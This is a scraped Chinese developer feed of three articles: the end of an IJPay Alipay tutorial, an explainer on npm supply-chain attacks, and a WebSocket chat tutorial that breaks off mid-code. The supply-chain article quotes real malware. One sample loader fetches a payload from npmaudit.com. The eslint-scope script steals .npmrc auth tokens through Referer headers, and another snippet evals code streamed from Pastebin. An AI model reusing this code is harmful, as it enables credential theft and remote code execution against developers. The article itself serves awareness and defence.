.setAppCertPath(aliPayBean.getAppCertPath())
.setAliPayCertPath(aliPayBean.getAliPayCertPath())
.setAliPayRootCertPath(aliPayBean.getAliPayRootCertPath())
.setCharset("UTF-8")
.setPrivateKey(aliPayBean.getPrivateKey())
.setAliPayPublicKey(aliPayBean.getPublicKey())
.setServiceUrl(aliPayBean.getServerUrl())
.setSignType("RSA2")
// 普通公钥方式
//.build();
// 证书模式
.buildByCert();
// 或者
.setAppId(aliPayBean.getAppId())
.setAliPayPublicKey(aliPayBean.getPublicKey())
.setCharset("UTF-8")
.setPrivateKey(aliPayBean.getPrivateKey())
.setServiceUrl(aliPayBean.getServerUrl())
.setSignType("RSA2")
.build(); // 普通公钥方式
.build(appCertPath, aliPayCertPath, aliPayRootCertPath) // 2.3.0 公钥证书方式

AliPayApiConfigKit.setThreadLocalAppId(aliPayBean.getAppId()); // 2.1.2 之后的版本,可以不用单独设置
AliPayApiConfigKit.setThreadLocalAliPayApiConfig(aliPayApiConfig);


参数说明:



  • appId: 应用编号

  • privateKey: 应用私钥

  • publicKey: 支付宝公钥,通过应用公钥上传到支付宝开放平台换取支付宝公钥(如果是证书模式,公钥与私钥在CSR目录)。

  • appCertPath: 应用公钥证书 (证书模式必须)

  • aliPayCertPath: 支付宝公钥证书 (证书模式必须)

  • aliPayRootCertPath: 支付宝根证书 (证书模式必须)

  • serverUrl: 支付宝支付网关

  • domain: 外网访问项目的域名,支付通知中会使用



多应用无缝切换:


从上面的初始化配置中,可以看到 IJPay 默认是使用当前线程中的 appId 对应的配置。


如果要切换应用可以调用 AliPayApiConfigKit.setThreadLocalAppId 来设置当前线程中的 appId, 实现应用的切换进而达到多应用的支持。


调用支付API


App 支付


public AjaxResult appPay() {
try {
AlipayTradeAppPayModel model = new AlipayTradeAppPayModel();
model.setBody("测试数据-Java陈序员");
model.setSubject("Java陈序员 App 支付测试");
model.setOutTradeNo(StringUtils.getOutTradeNo());
model.setTimeoutExpress("15m");
model.setTotalAmount("0.01");
model.setPassbackParams("callback params");
model.setProductCode("QUICK_MSECURITY_PAY");
String orderInfo = AliPayApi.appPayToResponse(model, aliPayBean.getDomain() + NOTIFY_URL).getBody();
result.success(orderInfo);
} catch (AlipayApiException e) {
e.printStackTrace();
result.addError("system error:" + e.getMessage());
}
return result;
}

PC 支付


public void pcPay(HttpServletResponse response) {
try {
String totalAmount = "0.01";
String outTradeNo = StringUtils.getOutTradeNo();
log.info("pc outTradeNo>" + outTradeNo);

String returnUrl = aliPayBean.getDomain() + RETURN_URL;
String notifyUrl = aliPayBean.getDomain() + NOTIFY_URL;
AlipayTradePagePayModel model = new AlipayTradePagePayModel();

model.setOutTradeNo(outTradeNo);
model.setProductCode("FAST_INSTANT_TRADE_PAY");
model.setTotalAmount(totalAmount);
model.setSubject("Java陈序员 PC 支付测试");
model.setBody("Java陈序员 PC 支付测试");
model.setPassbackParams("passback_params");

AliPayApi.tradePage(response, model, notifyUrl, returnUrl);
} catch (Exception e) {
e.printStackTrace();
}

}

手机网站支付


public void wapPay(HttpServletResponse response) {
String body = "测试数据-Java陈序员";
String subject = "Java陈序员 Wap支付测试";
String totalAmount = "0.01";
String passBackParams = "1";
String returnUrl = aliPayBean.getDomain() + RETURN_URL;
String notifyUrl = aliPayBean.getDomain() + NOTIFY_URL;

AlipayTradeWapPayModel model = new AlipayTradeWapPayModel();
model.setBody(body);
model.setSubject(subject);
model.setTotalAmount(totalAmount);
model.setPassbackParams(passBackParams);
String outTradeNo = StringUtils.getOutTradeNo();
System.out.println("wap outTradeNo>" + outTradeNo);
model.setOutTradeNo(outTradeNo);
model.setProductCode("QUICK_WAP_PAY");

try {
AliPayApi.wapPay(response, model, returnUrl, notifyUrl);
} catch (Exception e) {
e.printStackTrace();
}
}

扫码支付


public String tradePreCreatePay() {
String subject = "Java陈序员 支付宝扫码支付测试";
String totalAmount = "0.01";
String storeId = "123";
String notifyUrl = aliPayBean.getDomain() + "/aliPay/cert_notify_url";

AlipayTradePrecreateModel model = new AlipayTradePrecreateModel();
model.setSubject(subject);
model.setTotalAmount(totalAmount);
model.setStoreId(storeId);
model.setTimeoutExpress("15m");
model.setOutTradeNo(StringUtils.getOutTradeNo());
try {
String resultStr = AliPayApi.tradePrecreatePayToResponse(model, notifyUrl).getBody();
JSONObject jsonObject = JSONObject.parseObject(resultStr);
return jsonObject.getJSONObject("alipay_trade_precreate_response").getString("qr_code");
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

单笔转账到支付宝账户


public String transfer() {
String totalAmount = "0.01";
AlipayFundTransToaccountTransferModel model = new AlipayFundTransToaccountTransferModel();
model.setOutBizNo(StringUtils.getOutTradeNo());
model.setPayeeType("ALIPAY_LOGONID");
model.setPayeeAccount("gxthqd7606@sandbox.com");
model.setAmount(totalAmount);
model.setPayerShowName("测试退款");
model.setPayerRealName("沙箱环境");
model.setRemark("Java陈序员 测试单笔转账到支付宝");

try {
return AliPayApi.transferToResponse(model).getBody();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

其他支付方式集成可参考:


https://github.com/Javen205/IJPay/tree/dev/IJPay-Demo-SpringBoot

总结


可以说,目前 IJPay 集成了大部分主流的支付渠道。可以全部集成到项目中,也可以按需加载某一种、某几种支付渠道。


最后,贴上项目地址:


https://github.com/Javen205/IJPay

在线文档地址:


https://javen205.gitee.io/ijpay/

最后


推荐的开源项目已经收录到 GitHub 项目,欢迎 Star


https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:


https://chencoding.top:8090/#/


大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!



作者:Java陈序员
来源:juejin.cn/post/7304558952180056100
收起阅读 »

JavaScript 供应链为什么如此脆弱...

web
JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。 今天就跟大家一起来聊聊 Ja...
继续阅读 »

JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。


今天就跟大家一起来聊聊 JavaScript 供应链的一些典型负面案例,让大家认识一下这是一个多么脆弱的生态。


【突然删除】left-pad


left-pad 是一个非常简单的 NPM 包,只有 11 行代码,它通过添加额外的空格来将字符串填充到指定的长度。


module.exports = leftpad;

function leftpad (str, len, ch) {
str = String(str);

var i = -1;

if (!ch && ch !== 0) ch = ' ';

len = len - str.length;

while (++i < len) {
str = ch + str;
}

return str;
}

此事件的前因是 left-pad 的作者与另一位开发者之间的商标争议,导致 left-pad 被从 NPM 上撤下。


由于许多大型项目都依赖于这个看似无关紧要的包,其中包括 BabelReact,这导致几乎整个 JavaScript 生态都受到了影响。


你或许会吃惊,为啥这么个只有 11 行代码的包都有这么多大型项目依赖?


对,这就脆弱是 JavaScript 生态。



不得不服的是,这个包早就被作者标记了废弃,而且是 WTFPL 协议(Do What The F*** You Want To Public License), 每周依然有着数百万次的下载量 ...


或许你的项目里就有,但是你可能从不关心。


【作者泄愤】faker.js


要说突然的删除还能接受,那作者主动植入恶意代码就有点过分...



去年的某天,开源库 faker.jscolors.js 的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,造成这一混乱局面的就是 faker.jscolors.js 的作者 Marak Squires 本人。乱码的原因是 Marak Squires 故意引入了一个死循环,让数千个依赖于这两个包的程序全面失控,其中不乏有类似雅虎这样的大公司中招。


Marak 的公寓失火让他失去了所有家当,几乎身无分文,随后他在自己的项目上放出收款码请求大家捐助,但是却没有多少人肯买帐...



于是就有了后面这一幕,Marak 通过这样的方式让 "白嫖" 的开源用户付出代价...


所以,如果你也经常 "白嫖" ,那就要小心点了...


【包名抢注】crossenv


对你没听错,就是包名抢注。


你可能听说过域名抢注,一个好的域名抢注了可能后面会卖个好价钱。


比如,抖音火了,官方域名是 http://www.douyin.com ,那么我就注册一个 http://www.d0uyin.com ,如果你眼神不好的话还是有一定欺诈效果的。


包名抢注确确实实也是发生在 JavaScript 生态里的,一样的道理。


比如有个包叫 cross-env,是用来在 Node.js 里设置环境变量的,非常基础且常用的功能,每周有着 500W 次的下载量。



于是有人抢注了 crossenvcross-env.js ,如果有人因为拼写错误,或者就是因为眼神不好使,安装了它们,这些包就可以窃取用户的环境变量,并将这些数据发送到远程服务器。我们的环境变量往往包含一些敏感的信息,比如 API 密钥、数据库凭据、SSH 密钥等等。


还有下面这些包,都是一样的道理:



  • babelcli - v1.0.1 - 针对 Node.js 的Babel CLI

  • d3.js - v1.0.1 - 针对 Node.js 的d3.js

  • fabric-js - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • ffmepg - v0.0.1 - 针对 Node.js 的FFmpegg

  • runtcli - v1.0.1 - 针对 Node.js 的Grunt CLI

  • http-proxy.js - v0.11.3 - Node.js的代理工具

  • jquery.js - v3.2.2-pre - 针对 Node.js 的jquery.js

  • mariadb - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • mongose - v4.11.3 - Mongoose MongoDB ODM

  • mssql.js - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mssql-node - v4.0.5 - 针对Node.js的Microsoft SQL Server客户端

  • mysqljs - v2.13.0 - 一款用于mysql的node.js驱动程序。它用JavaScript编写,无需编译,且100%采用了MIT许可

  • nodecaffe - v0.0.1 - 针对 Node.js 的caffe

  • nodefabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • node-fabric - v1.7.18 - 针对HTML5 canvas的对象模型和SVG到canvas的解析器,由jsdom和node-canvas支持

  • nodeffmpeg - v0.0.1 - 针对 Node.js 的FFmpeg

  • nodemailer-js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemailer.js - v4.0.1 - 从 Node.js 应用程序轻松发送电子邮件

  • nodemssql - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • node-opencv - v1.0.1 - 针对 Node.js 的OpenCV

  • node-opensl - v1.0.1 - 针对 Node.js 的OpenSSL

  • node-openssl - v1.0.1 - 针对 Node.js 的OpenSSL

  • noderequest - v2.81.0 - 简化HTTP请求客户端

  • nodesass - v4.5.3 - 对libsass的包装

  • nodesqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-sqlite - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • node-tkinter - v1.0.1 - 针对 Node.js 的Tkinter

  • opencv.js - v1.0.1 - 针对 Node.js 的OpenCV

  • openssl.js - v1.0.1 - 针对 Node.js 的OpenSSL

  • proxy.js - v0.11.3 - Node.js 的代理工具

  • shadowsock - v2.0.1 - 能够帮助你穿越防火墙的隧道代理

  • smb - v1.5.1 - 一个纯JavaScript的SMB服务器实现

  • sqlite.js - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqliter - v2.8.1 - 针对 Node.js 应用的SQLite客户端,并带有基于SQL的迁移API

  • sqlserver - v4.0.5 - 针对 Node.js 的Microsoft SQL Server客户端

  • tkinter - v1.0.1 - 针对 Node.js 的Tkinter。


【奇葩的 Bug】is-promise


首先我们明白一个事实,这个库只有一行代码:


function isPromise(obj) {
return !!obj && (typeof obj === 'object' || typeof obj === 'function') && typeof obj.then === 'function';
}

然而,约 500 个直接依赖项使用了它,约 350 万个项目简洁依赖了它,每周包的下载量高达 1200万次。


于是,在 2020JavaScript 生态的名场面来了,一个单行的代码库让一大波大型项目瘫痪,包括 Facebook 、Google 等...


那么作者到底干了点啥呢?



根本原因就是 "exports" 这个字段没有被正确定义,所以在 Node.js 12.16 及更高版本中使用这个库就会抛出如下异常:


Error [ERR_INVALID_PACKAGE_TARGET]: Invalid "exports" main target "index.js" defined in the package config 

这能怪谁呢,一个单行代码库也能被这么多项目使用,可谓是牵一发而动全身,这再一次证明了 JavaScript 生态的脆弱。


【恶意后门】getcookies


2018 年、Rocket.Chat 通过了一个看似不起眼的 PR,PR 里包括了几个基础依赖的升级:



mailparser 从版本 2.2.0 更新到 2.2.3 引入了一个名为 http-fetch-cookies 的间接依赖项,它有一个名为 express-cookies 的子依赖项,它依赖于一个名为 getcookies 的包。 getcookies 包含一个恶意的后门。


工作原理是解析用户提供的 HTTP request.headers,然后寻找特定格式的数据,为后门提供三个不同的命令:



  • 重置代码缓冲区。

  • 通过调用 vm.runInThisContext 提供 module.exports、required、req、resnext 作为参数来执行位于缓冲区中的代码。

  • 将远程代码加载到内存中以供执行。


后续 ,npm 删除了 http-fetch-cookies、express-cookies、get-cookiesmailparser 2.2.3,并且在官方博客上披露了这次事件:



mailparser 本来是一个古老的用 JavaScript 解析电子邮件的 NPM 包。


但是后来包作者宣布不再维护了,社区也提供了新的替代包:Nodemailer


尽管包作者标记了弃用,这个包每周仍有数十万次的下载量,黑客就会专挑这种作者已经放弃维护,并且下载量还高的库下手,在其中引入了一个不起眼的间接依赖 get-cookies,中间还加了两层,包名也都挺正常的,根本没有人发现什么异常。


所以,作者都不维护了,大家也就都别再用了,这意味着没人对它的安全负责了...


【社会工程学】event-stream



GitHub 用户 right9ctrl 发布了一个恶意 NPM 包 flatmap-stream


随后 right9ctrl 利用社会工程学开始在 event-stream 上提一些问题,并且开始贡献一些代码,随后不久他骗取了主作者的信任,并且也成了 event-stream 的一名核心贡献者,而且拥有了包的完整发布和管理权限。


随后,right9ctrl 悄无声息的为 event-stream 引入了一个新的依赖 flatmap-stream,并且发布了了一个新的版本,因为是核心贡献者引入的一个不起眼的依赖升级的改动,大家都没有注意。


直到一周之后,这个段时间包的下载量已经达到了 800 万次,才有人发现了这个问题:



通过对 flatmap-stream 代码进行更详细的检查,我们可以发现这是针对 Copay(一个安全的比特币钱包平台)的一次精准的针对性攻击。


恶意代码被下载了数百万次,并执行了数百万次,在这期间大量拥有 Copay 的开发者遭受了巨大的经济损失...


然而这一切的原因,只不过是一次简单的 JavaScript 依赖升级 ...


然而,运用社工来进行供应链攻击也不至这一个案例,就在今年 6 月份,Phylum 披露了一系列 NPM 恶意行为,然后他把这些归咎于一个朝鲜黑客组织,他们发起的针对科技公司员工个人账户的小规模社会工程活动



朝鲜的黑客组织刚开始会先尝试和他们的目标建立联系(通常是一些流行包的作者),然后在 GitHub 上发出一起协作开发这个库的邀请,成功后就会尝试在这些库中引入一些恶意的包,例如 js-cookie-parserxml-fast-decoderbtc-api-node,它们都会包含一段被 base64 简单编码过的特殊代码:


const os = require('os');
const path = require('path');
var fs = require('fs');
const w = '.electron';
const f = 'cache';
const va = 'darwin';
async function start(){
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0
var dir = path.join(os.homedir(), w);
if (!fs.existsSync(dir)){
fs.mkdirSync(dir);
}
var axios = require('axios');
if (os.platform() == va){
var exec = require('child_process').exec;
exec('npm i --prefix=~/.electron ffi-napi', (error, stdout, stderr) => {
console.log(stderr);
});
}
var res = await axios.get('https://npmaudit.com/api/v4/init');
fs.writeFileSync(path.join(dir, f), res.data);
}
start()

所以,如果你是一个流行包的作者,千万不要轻信其他给你贡献代码的人,他们可能就是 "朝鲜" 黑客...


【NPM凭证泄漏】ESLint


2018 年,有用户在 ESLintIssue 反馈,加载了 eslint-escope 的项目似乎在执行恶意代码:



原因是攻击者大概在第三方漏洞中发现了 ESLint 维护者重复使用的电子邮件和密码,并使用它们登录了维护者的 npm 帐户,然后攻击者在维护者的 npm 帐户中生成了身份验证令牌。


随后,攻击者修改了 eslint-escope@3.7.2eslint-config-eslint@5.0.2 中的 package.json,添加了一个 postinstall 脚本来运行 build.js



build.jsPastebin 下载另一个脚本并使用 eval 执行其内容。


r.on("data", c => {
eval(c);
});

但是它不会等待请求完成,reqeuest 可能只发送了脚本的一部分,并且 eval 调用会失败并出现 SyntaxError,这就是问题的发现方式。


try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";

if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}

这个脚本会从用户的 .npmrc 中提取用于发布到 npm _authToken 并将其发送到 Referer 标头内的 histatsstatcounter


同样的问题也发生在过 conventional-changelog,也是因为发布者的 NPM 账号信息泄漏,导致攻击者插入了使用 require("child_process").spawn 执行恶意代码的脚本:



后来,ua-parser-js 作者的 NPM 账户被盗,攻击者在其中注入恶意代码:



所以,NPM 的发布权限其实也是挺脆弱的,只需要一个邮箱和密码,很多攻击者会使用非常简单的密码或者重复的密码,导致包的发布权限被攻击者接管。


后来,NPM 官方为了解决这一问题推出了双重身份验证机制 (2FA),启用后系统会提示你进行第二种形式的身份验证,然后再对你具有写入访问权限的帐户或包执行某些操作。根据你的 2FA 配置,系统将提示你使用安全密钥或基于时间的一次性密码 (TOTP)进行身份验证。


【manifest 混淆】node-canvas


一个 npm 包的 manifest 是独立于其 tarball 发布的,manifest 不会完全根据 tarball 的内容进行验证,生态系统普遍会默认认为 manifesttarball 的内容是一致的。



任何使用公共注册表的工具都很容易受到劫持。恶意攻击者可以隐藏恶意软件和脚本,把自己隐藏在在直接或间接依赖项中。在现实中对于这种受害者的例子也有很多,比如 node-canvas



感兴趣可以看我这篇文章:npm 生态系统存在巨大的安全隐患 文中详细介绍了这个问题。


【夹杂政治】node-ipc


这个或许大家都有所耳闻了,vue-cli 依赖项 node-ipc 包的作者 RIAEvangelist 是个反战人士。


百万周下载量的 npm 包以反战为名进行供应链投毒!



在 EW 战争的初期,RIAEvangelist 在包中植入一些恶意代码。源码经过压缩,简单地将一些关键字符串进行了 base64 编码。其行为是利用第三方服务探测用户 IP,针对俄罗斯和白俄罗斯 IP,会尝试覆盖当前目录、父目录和根目录的所有文件,把所有内容替换成


但是这种案例可不止这一个,下面是一些包含抗议性质的开源项目案例:



  • es5-ext: 一个主要用于 ECMAScript 的扩展库,尽管在两年内没有更新,却开始接收包含宣传和会增加资源使用的时区代码的常规更新,具体的政治宣传内容处于文件 _postinstall.js 中。

  • EventSource: 这个库可以在你的网站上显示政治标语。如果用户的时区是俄罗斯,它会用一个 15 秒的超时函数使用 alert() 。之后,这个库会在一个弹出窗口中打开一个政治/恶意网站。

  • Evolution CMS: 自2022年3月1日起,从版本 3.1.101.4.17 开始,在管理员面板上加入了政治图片。为了在没有任何政治标语下继续开发,该项目被派生成了 Evolution CMS 社区版。

  • voicybot: 是一个 Telegram 的机器人项,2022年3月2日,促销机器人消息被修改为政治标语。

  • yandex-xml-library(PHP): 这是一个非官方的 Yandex-XML PHP 库,有一个包含政治标语的版本被添加到 packagist,并且源文件已经在 GitHub 上被删除。

  • AWS Terraform 模块: 在代码中加入了反俄标语和无意义的变量。

  • Mistape WordPress 插件: 通过 Mistape 插件的一个漏洞,攻击者可以访问管理员部分,上传 UnderConstruction 插件,借此在网站主页显示任意信息。

  • SweetAlert2: 一个 JavaScript 弹窗库。库中加入了显示政治宣传和视频的代码。只有当用户在浏览器中选择了俄文,并且执行代码的网站位于 .ru/.su/.рф 区域时,此功能才会启动。



还有很多针对特定国家的项目,比如下面这些都是针对俄罗斯的:



  • Quake3e: 一个对 Quake III Arena 引擎进行改进的项目。在2022年2月26日,项目移除了对俄罗斯 MCST/Elbrus 平台的支持。

  • RESP.app / RedisDesktopManager: 一个 Redis 的图形用户界面。 项目移除了对俄语的翻译。

  • pnpm: 一个包管理器,项目中加入了反俄罗斯声明,并且来自俄罗斯和白俄罗斯的访问已被直接屏蔽。

  • Qalculate: 是一个跨平台的桌面计算器,在2022年3月14日,该项目去除了俄罗斯和白俄罗斯货币对应的国旗。

  • Yet Another Dialog: 一款允许你从命令行显示 GTK+ 对话框的程序。在2022年3月2日,该项目移除了俄语区域的支持。


最后


大家有什么看法,欢迎来评论区留言。


作者:ConardLi
来源:juejin.cn/post/7305984042640375817
收起阅读 »

3分钟使用 WebSocket 搭建属于自己的聊天室(WebSocket 原理、应用解析)

WebSocket 的由来 在 WebSocket 出现之前,我们想实现实时通信、变更推送、服务端消息推送功能,我们一般的方案是使用 Ajax 短轮询、长轮询两种方式: 比如我们想实现一个服务端数据变更时,立即通知客户端功能,没有 WebSocket 之前我...
继续阅读 »

WebSocket 的由来



  • 在 WebSocket 出现之前,我们想实现实时通信、变更推送、服务端消息推送功能,我们一般的方案是使用 Ajax 短轮询、长轮询两种方式:

  • 比如我们想实现一个服务端数据变更时,立即通知客户端功能,没有 WebSocket 之前我们可能会采用以下两种方案:短轮询或长轮询


短轮询、长轮询(来源:即时通讯网)



  • 上面两种方案都有比较明显的缺点:


1、HTTP 协议包含的较长的请求头,有效数据只占很少一部分,浪费带宽
2、短轮询频繁轮询对服务器压力较大,即使使用长轮询方案,客户端较多时仍会对客户端造成不小压力


  • 在这种情况下,HTML5 定义了 WebSocket 协议,能更好的节省服务器资源和带宽,并且能够更实时地进行通讯。


WebSocket 是什么



  • WebSocket 是一种网络传输协议,可在单个 TCP 连接上进行全双工通信,位于 OSI 模型的应用层。

  • WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。客户端和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。


短轮询和WebSocket的区别(来源:即时通讯网)


WebSocket 优缺点


优点



  • 实时性: WebSocket 提供了双向通信,服务器可以主动向客户端推送数据,实现实时性非常高,适用于实时聊天、在线协作等应用。

  • 减少网络延迟: 与轮询和长轮询相比,WebSocket 可以显著减少网络延迟,因为不需要在每个请求之间建立和关闭连接。

  • 较小的数据传输开销: WebSocket 的数据帧相比于 HTTP 请求报文较小,减少了在每个请求中传输的开销,特别适用于需要频繁通信的应用。

  • 较低的服务器资源占用: 由于 WebSocket 的长连接特性,服务器可以处理更多的并发连接,相较于短连接有更低的资源占用。

  • 跨域通信: 与一些其他跨域通信方法相比,WebSocket 更容易实现跨域通信。


缺点



  • 连接状态保持: 长时间保持连接可能会导致服务器和客户端都需要维护连接状态,可能增加一些负担。

  • 不适用于所有场景: 对于一些请求-响应模式较为简单的场景,WebSocket 的实时特性可能并不是必要的,使用 HTTP 请求可能更为合适。

  • 复杂性: 与传统的 HTTP 请求相比,WebSocket 的实现和管理可能稍显复杂,尤其是在处理连接状态、异常等方面。


WebSocket 适用场景



  • 实时聊天应用: WebSocket 是实现实时聊天室、即时通讯应用的理想选择,因为它能够提供低延迟和高实时性。

  • 在线协作和协同编辑: 对于需要多用户协同工作的应用,如协同编辑文档或绘图,WebSocket 的实时性使得用户能够看到其他用户的操作。

  • 实时数据展示: 对于需要实时展示数据变化的应用,例如股票行情、实时监控系统等,WebSocket 提供了一种高效的通信方式。

  • 在线游戏: 在线游戏通常需要快速、实时的通信,WebSocket 能够提供低延迟和高并发的通信能力。

  • 推送服务: 用于实现消息推送服务,向客户端主动推送更新或通知。


主流浏览器对 WebSocket 的兼容性


主流浏览器对 WebSocket 的兼容性



  • 由上图可知:目前主流的 Web 浏览器都支持 WebSocket,因此我们可以在大多数项目中放心地使用它。


WebSocket 通信过程以及原理


建立连接



  • WebSocket 协议属于应用层协议,依赖传输层的 TCP 协议。它通过 HTTP/1.1 协议的 101 状态码进行握手建立连接。


具体过程



  • 客户端发送一个 HTTP GET 请求到服务器,请求的路径是 WebSocket 的路径(类似 ws://example.com/socket)。请求中包含一些特殊的头字段,如 Upgrade: websocket 和 Connection: Upgrade,以表明客户端希望升级连接为 WebSocket。

  • 服务器收到这个请求后,会返回一个 HTTP 101 状态码(协议切换协议)。同样在响应头中包含 Upgrade: websocket 和 Connection: Upgrade,以及一些其他的 WebSocket 特定的头字段,例如 Sec-WebSocket-Accept,用于验证握手的合法性。

  • 客户端和服务器之间的连接从普通的 HTTP 连接升级为 WebSocket 连接。之后,客户端和服务器之间的通信就变成了 WebSocket 帧的传输,而不再是普通的 HTTP 请求和响应。


示例


// 客户端请求
GET ws://localhost:8888/ HTTP/1.1
Host: localhost:8888
Connection: Upgrade
Upgrade: websocket
Origin: http://localhost:63342
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,en;q=0.7
Sec-WebSocket-Key: b7wpWuB9MCzOeQZg2O/yPg==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

// 服务端响应
HTTP/1.1 101 Web Socket Protocol Handshake
Connection: Upgrade
Date: Wed, 22 Nov 2023 08:15:00 GMT
Sec-WebSocket-Accept: Q4TEk+qOgJsKy7gedijA5AuUVIw=
Server: TooTallNate Java-WebSocket
Upgrade: websocket

Sec-WebSocket-Key


  • 与服务端响应头部的 Sec-WebSocket-Accept 是配套的,提供基本的防护,比如恶意的连接,或者无意的连接;这里的“配套”指的是:Sec-WebSocket-Accept 是根据请求头部的 Sec-WebSocket-Key 计算而来,计算过程大致为基于 SHA1 算法得到摘要并转成 base64 字符串。


Sec-WebSocket-Extensions


  • 用于协商本次连接要使用的 WebSocket 扩展。


数据通信



  • WebSocket 的每条消息可能会被切分成多个数据帧(最小单位)。发送端会将消息切割成多个帧发送给接收端,接收端接收消息帧并将关联的帧重新组装成完整的消息。


数据帧


      0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (
4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (
if payload len==126/127) |
| |
1|2|3| |K| | |
+-+-+-+-+
-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued,
if payload len == 127 |
+ - - - - - - - - - - - - - - - +
-------------------------------+
| |Masking-key,
if MASK set to 1 |
+
-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+
-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+
---------------------------------------------------------------+

帧头(Frame Header)


  • FIN(1比特): 表示这是消息的最后一个帧。如果消息分成多个帧,FIN 位在最后一个帧上设置为 1。

  • RSV1、RSV2、RSV3(各1比特): 保留位,用于将来的扩展。

  • Opcode(4比特): 指定帧的类型,如文本帧、二进制帧、连接关闭等。


WebSocket 定义了几种帧类型,其中最常见的是文本帧(Opcode  0x1)和二进制帧(Opcode  0x2)。其他帧类型包括连接关闭帧、Ping 帧、Pong 帧等。


  • Mask(1比特): 指示是否使用掩码对负载进行掩码操作。

  • Payload Length: 指定数据的长度。如果小于 126 字节,直接表示数据的长度。如果等于 126 字节,后面跟着 16 比特的无符号整数表示数据的长度。如果等于 127 字节,后面跟着 64 比特的无符号整数表示数据的长度。


掩码(Masking)


  • 如果 Mask 位被设置为 1,则帧头后面的 4 字节即为掩码,用于对负载数据进行简单的异或操作,以提高安全性。


负载数据(Payload Data)


  • 实际要传输的数据,可以是文本、二进制数据等


来自 MDN 的一个小例子


Client: FIN=1, opcode=0x1, msg="hello"
Server: (process complete message immediately) Hi.

Client: FIN=0, opcode=0x1, msg="and a"
Server: (listening, newmessage containing text started)

Client: FIN=0, opcode=0x0, msg="happy new"
Server: (listening, payload concatenated to previous message)

Client: FIN=1, opcode=0x0, msg="year!"
Server: (process complete message) Happy new year to you too!

维持连接



  • 当建立连接后,连接可能因为网络等原因断开,我们可以使用心跳的方式定时检测连接状态。若连接断开,我们可以告警或者重新建立连接。


关闭连接



  • WebSocket 是全双工通信,当客户端发送关闭请求时,服务端不一定立即响应,而是等服务端也同意关闭时再进行异步响应。

  • 下面是一个客户端关闭的例子:


Client: FIN=1, opcode=0x8, msg="1000"
Server: FIN=1, opcode=0x8, msg="1000"

使用 WebSocket 实现一个简易聊天室



  • 下面是一个简易聊天室小案例,任何人打开下面的网页都可以加入我们聊天室进行聊天,然后小红和小明加入了聊天:


简易聊天室


前端源码


html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebSocket Chattitle>
head>
<body>
<div id="chat">div>
<input type="text" id="messageInput" placeholder="Type your message">
<button onclick="sendMessage()">Sendbutton>

<script>
const socket = new WebSocket('ws://localhost:8888');

socket.
onopen = (event) => {
console.log('WebSocket connection opened:', event);
};

socket.
onmessage = (event) => {
const messageDiv = document.getElementById('chat');
const messageParagraph = document.createElement('p');
messageParagraph.
textContent = event.data;
messageDiv.
appendChild(messageParagraph);
};

socket.
onclose = (event) => {
console.log('WebSocket connection closed:', event);
};

function sendMessage() {
const messageInput = document.getElementById('messageInput');
const message = messageInput.value;
socket.
send(message);
messageInput.
value = '';
}
script>
body>
html>

后端源码 Java


package chat;

import org.java_websocket.WebSocket;
import org.java_websocket.handshake.ClientHandshake;
import org.java_websocket.server.WebSocketServer;

import java.net.InetSocketAddress;

public class ChatServer extends WebSocketServer {

public ChatServer(int port) {
super(new InetSocketAddress(port));
}

@Override
public void onOpen(WebSocket conn, ClientHandshake handshake) {
System.out.println("New connection from: " + conn.getRemoteSocketAddress().getAddress().getHostAddress());
}

@Override
